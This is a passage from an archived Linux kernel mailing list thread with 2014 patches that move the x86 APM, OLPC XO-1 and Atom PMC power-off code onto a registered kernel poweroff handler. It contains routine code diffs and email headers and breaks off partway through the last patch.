+		ret = register_poweroff_handler(&efi_poweroff_nb);
+		if (ret)
+			pr_err("efi: Failed to register poweroff handler\n");
+	}
 
-	return 0;
+	return ret;
 }
 late_initcall(efi_shutdown_init);
-- 
1.9.1


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 27/44] x86: apm: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:29 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <1412659726-29957-28-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659891 26815 80.91.229.3 (7 Oct 2014 05:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:31 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Thomas Gleix
To: linux-kernel@vger.kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Oct 07 07:31:22 2014
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1XbNMm-0003UJ-SA
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 07 Oct 2014 07:31:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754103AbaJGFbP (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:15 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41424 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754035AbaJGFbB (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 7 Oct 2014 01:31:01 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=7885dG5LLp99My+6lCAdke30YwGg7jrufORxgutM6Gc=;
	b=bgQehv+10JRtLStIUbTZp3Q6zjjQG/3WjU8RjzDyQPiio0MEJouXTk8kjTYX8M2tAzs5hx6GBmvHnF3sJUOQG5k3IFuYtxWpeCdfr2CRLTswYMRTKCs6NjjU+jj3/cIoo5iXU+IoUTR41JLFDyiadgEp7H4cpTkQ47V/PEHr/NY=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMS-002jZ2-Kd
	for linux-ia64@vger.kernel.org; Tue, 07 Oct 2014 05:31:00 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32930 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLT-002cdx-7L; Tue, 07 Oct 2014 05:29:59 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A94.0134,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 966
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 15
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:24490 gmane.linux.kernel:1802460 gmane.linux.drivers.devicetree:93050 gmane.linux.kernel.virtualization.lguest:1469 gmane.linux.acpi.devel:71283 gmane.linux.ports.alpha:2454 gmane.linux.kernel.efi:4737 gmane.linux.ports.hexagon:801 gmane.linux.ports.ppc64.devel:105880 gmane.linux.ports.tegra:19483 gmane.linux.kernel.openipmi:2460 gmane.linux.uml.devel:14673 gmane.linux.ports.arm.kernel:362355 gmane.linux.kernel.metag:321 gmane.linux.ports.mips.general:44171 gmane.linux.ports.parisc:6096 gmane.linux.power-management.general:50625 gmane.linux.ports.sh.devel:39794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/24490>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with high priority value of 192 to reflect that
the original code overwrites existing poweroff handlers.

Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/x86/kernel/apm_32.c | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/arch/x86/kernel/apm_32.c b/arch/x86/kernel/apm_32.c
index 5848744..84566a6 100644
--- a/arch/x86/kernel/apm_32.c
+++ b/arch/x86/kernel/apm_32.c
@@ -219,6 +219,7 @@
 #include <linux/init.h>
 #include <linux/time.h>
 #include <linux/sched.h>
+#include <linux/notifier.h>
 #include <linux/pm.h>
 #include <linux/capability.h>
 #include <linux/device.h>
@@ -981,7 +982,8 @@ recalc:
  *	on their first cpu.
  */
 
-static void apm_power_off(void)
+static int apm_power_off(struct notifier_block *this, unsigned long unused1,
+			 void *unused2)
 {
 	/* Some bioses don't like being called from CPU != 0 */
 	if (apm_info.realmode_power_off) {
@@ -990,8 +992,14 @@ static void apm_power_off(void)
 	} else {
 		(void)set_system_power_state(APM_STATE_OFF);
 	}
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block apm_poweroff_nb = {
+	.notifier_call = apm_power_off,
+	.priority = 192,
+};
+
 #ifdef CONFIG_APM_DO_ENABLE
 
 /**
@@ -1847,8 +1855,11 @@ static int apm(void *unused)
 	}
 
 	/* Install our power off handler.. */
-	if (power_off)
-		pm_power_off = apm_power_off;
+	if (power_off) {
+		error = register_poweroff_handler(&apm_poweroff_nb);
+		if (error)
+			pr_err("apm: Failed to register poweroff handler\n");
+	}
 
 	if (num_online_cpus() == 1 || smp) {
 #if defined(CONFIG_APM_DISPLAY_BLANK) && defined(CONFIG_VT)
@@ -2408,9 +2419,8 @@ static void __exit apm_exit(void)
 			apm_error("disengage power management", error);
 	}
 	misc_deregister(&apm_device);
+	unregister_poweroff_handler(&apm_poweroff_nb);
 	remove_proc_entry("apm", NULL);
-	if (power_off)
-		pm_power_off = NULL;
 	if (kapmd_task) {
 		kthread_stop(kapmd_task);
 		kapmd_task = NULL;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 28/44] x86: olpc: Register xo1 poweroff handler with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:30 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <1412659726-29957-29-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659891 26824 80.91.229.3 (7 Oct 2014 05:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:31 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Thomas Gleix
To: linux-kernel@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 07:31:24 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbNMf-0003NU-H6
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 07:31:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754018AbaJGFbL (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:11 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41475 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754056AbaJGFbF (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 01:31:05 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=gl580MzXsLesdmZogSgYTt+1NwB8AqcvnsCM/00Y5xE=;
	b=5iOq46XTp1eQY6+BsztcZx3tJ3ayV/R84rX6KRpz1bSi17Pgv1KpCDIQTUuUq4Or+2bqn0SrzjJJ2Ph6tiGVRrc+D39MXc8Mc006S1fukNJmR7aDBWvziMQ9+D0Tgh4uR6ls4SYRo01QX6B41WXs2uiOD9wb4cBJGYbtE19vJcY=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMW-002k48-KJ
	for linux-m68k@lists.linux-m68k.org; Tue, 07 Oct 2014 05:31:04 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32931 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLV-002cjO-72; Tue, 07 Oct 2014 05:30:01 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A99.0002,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1003
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 28
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.linux-m68k.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6213 gmane.linux.kernel:1802461 gmane.linux.drivers.devicetree:93051 gmane.linux.kernel.virtualization.lguest:1470 gmane.linux.acpi.devel:71284 gmane.linux.ports.alpha:2455 gmane.linux.kernel.efi:4738 gmane.linux.ports.hexagon:802 gmane.linux.ports.ppc64.devel:105881 gmane.linux.ports.tegra:19484 gmane.linux.kernel.openipmi:2461 gmane.linux.uml.devel:14674 gmane.linux.ports.arm.kernel:362356 gmane.linux.ports.ia64:24491 gmane.linux.kernel.metag:322 gmane.linux.ports.mips.general:44172 gmane.linux.ports.parisc:6097 gmane.linux.power-management.general:50626 gmane.linux.ports.sh.devel:39795
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6213>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with high priority value of 192 to reflect that
the driver explicitly wants to override default poweroff handlers.

Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/x86/platform/olpc/olpc-xo1-pm.c | 20 +++++++++++++++++---
 1 file changed, 17 insertions(+), 3 deletions(-)

diff --git a/arch/x86/platform/olpc/olpc-xo1-pm.c b/arch/x86/platform/olpc/olpc-xo1-pm.c
index a9acde7..96fba36 100644
--- a/arch/x86/platform/olpc/olpc-xo1-pm.c
+++ b/arch/x86/platform/olpc/olpc-xo1-pm.c
@@ -15,6 +15,7 @@
 #include <linux/cs5535.h>
 #include <linux/platform_device.h>
 #include <linux/export.h>
+#include <linux/notifier.h>
 #include <linux/pm.h>
 #include <linux/mfd/core.h>
 #include <linux/suspend.h>
@@ -92,7 +93,8 @@ asmlinkage __visible int xo1_do_sleep(u8 sleep_state)
 	return 0;
 }
 
-static void xo1_power_off(void)
+static int xo1_power_off(struct notifier_block *this, unsigned long unused1,
+			 void *unused2)
 {
 	printk(KERN_INFO "OLPC XO-1 power off sequence...\n");
 
@@ -108,8 +110,15 @@ static void xo1_power_off(void)
 
 	/* Write SLP_EN bit to start the machinery */
 	outl(0x00002000, acpi_base + CS5536_PM1_CNT);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block xo1_poweroff_nb = {
+	.notifier_call = xo1_power_off,
+	.priority = 192,
+};
+
 static int xo1_power_state_valid(suspend_state_t pm_state)
 {
 	/* suspend-to-RAM only */
@@ -146,8 +155,12 @@ static int xo1_pm_probe(struct platform_device *pdev)
 
 	/* If we have both addresses, we can override the poweroff hook */
 	if (pms_base && acpi_base) {
+		err = register_poweroff_handler(&xo1_poweroff_nb);
+		if (err) {
+			dev_err(&pdev->dev, "Failed to register poweroff handler\n");
+			return err;
+		}
 		suspend_set_ops(&xo1_suspend_ops);
-		pm_power_off = xo1_power_off;
 		printk(KERN_INFO "OLPC XO-1 support registered\n");
 	}
 
@@ -158,12 +171,13 @@ static int xo1_pm_remove(struct platform_device *pdev)
 {
 	mfd_cell_disable(pdev);
 
+	unregister_poweroff_handler(&xo1_poweroff_nb);
+
 	if (strcmp(pdev->name, "cs5535-pms") == 0)
 		pms_base = 0;
 	else if (strcmp(pdev->name, "olpc-xo1-pm-acpi") == 0)
 		acpi_base = 0;
 
-	pm_power_off = NULL;
 	return 0;
 }
 
-- 
1.9.1


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.ports.tegra,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 41/44] x86: pmc_atom: Register poweroff handler with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:43 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <1412659726-29957-42-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659898 26909 80.91.229.3 (7 Oct 2014 05:31:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:38 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Thomas Gleix
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:31:29 2014
Return-path: <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNMe-0003NU-Ve
	for glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:31:13 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754077AbaJGFbJ (ORCPT <rfc822;glpt-linux-tegra@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:09 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41392 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754026AbaJGFa7 (ORCPT
	<rfc822;linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:30:59 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=qbspNnjEv591CSA2nkWirsaAO6KFp0AVIlGM8Ad8r8A=;
	b=kw6y/lLj0nzHd+vb9VzlDTlgY9ObfT/unCXam/0WvRtY2M7DC8Lqo+/9KNCvoV8wl+HCcqnwW5lRAm26ITKTFrM1283hUmXOXB8AH+OU4zwAqUBRiie5bEi8NE6zEvcdVUAQdPDwv+2YTHbOdcdJXdPYCK1hIqCRKK2HbFUnEQ4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNMQ-002jSU-N1
	for linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:30:58 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32944 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNM4-002gmr-RT; Tue, 07 Oct 2014 05:30:37 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A93.0023,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 948
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 9
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-tegra.vger.kernel.org>
X-Mailing-List: linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.tegra:19485 gmane.linux.kernel:1802462 gmane.linux.drivers.devicetree:93052 gmane.linux.kernel.virtualization.lguest:1471 gmane.linux.acpi.devel:71285 gmane.linux.ports.alpha:2456 gmane.linux.kernel.efi:4739 gmane.linux.ports.hexagon:803 gmane.linux.ports.ppc64.devel:105882 gmane.linux.kernel.openipmi:2462 gmane.linux.uml.devel:14675 gmane.linux.ports.arm.kernel:362357 gmane.linux.ports.ia64:24492 gmane.linux.kernel.metag:323 gmane.linux.ports.mips.general:44173 gmane.linux.ports.parisc:6098 gmane.linux.power-management.general:50627 gmane.linux.ports.sh.devel:39796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.tegra/19485>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: H. Peter Anvin <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/x86/kernel/pmc_atom.c | 20 +++++++++++++++++---
 1 file changed, 17 insertions(+), 3 deletions(-)

diff --git a/arch/x86/kernel/pmc_atom.c b/arch/x86/kernel/pmc_atom.c
index 0c424a6..79331a2 100644
--- a/arch/x86/kernel/pmc_atom.c
+++ b/arch/x86/kernel/pmc_atom.c
@@ -20,6 +20,8 @@
 #include <linux/pci.h>
 #include <linux/device.h>
 #include <linux/debugfs.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/seq_file.h>
 #include <linux/io.h>
 
@@ -92,7 +94,8 @@ static inline void pmc_reg_write(struct pmc_dev *pmc, int reg_offset, u32 val)
